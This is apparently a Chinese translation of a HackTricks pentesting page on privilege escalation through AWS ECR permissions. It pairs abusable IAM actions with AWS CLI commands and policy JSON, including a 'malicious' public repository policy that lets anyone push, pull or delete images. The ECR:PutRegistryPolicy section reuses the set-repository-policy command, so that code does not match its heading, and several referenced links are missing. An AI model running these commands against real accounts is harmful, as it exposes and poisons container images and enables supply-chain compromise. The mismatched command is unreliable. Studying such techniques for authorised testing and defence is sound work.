AWS - ECR Privesc

支持 HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

拥有 ecr:GetAuthorizationTokenecr:BatchGetImage 权限的攻击者可以登录 ECR 并下载镜像。

有关如何下载镜像的更多信息:

潜在影响: 通过拦截流量中的敏感信息进行间接权限提升。

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

拥有所有这些权限的攻击者 可以登录 ECR 并上传镜像。这对于提升到其他使用这些镜像的环境的权限非常有用。

要了解如何上传新镜像/更新镜像,请查看:

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

与前一部分相同,但适用于公共仓库。

ecr:SetRepositoryPolicy

拥有此权限的攻击者可以 更改 仓库 策略 以授予自己(甚至所有人) 读/写访问。 例如,在这个例子中,读访问权限被授予给所有人。

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json 的内容:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

与前一节相似,但适用于公共存储库。 攻击者可以修改ECR公共存储库的存储库策略以授予未经授权的公共访问或提升他们的权限。

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

潜在影响:未经授权的公共访问ECR公共存储库,允许任何用户推送、拉取或删除镜像。

ecr:PutRegistryPolicy

拥有此权限的攻击者可以更改 注册表策略,以授予自己、他的账户(甚至所有人)读/写访问

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
支持 HackTricks

Last updated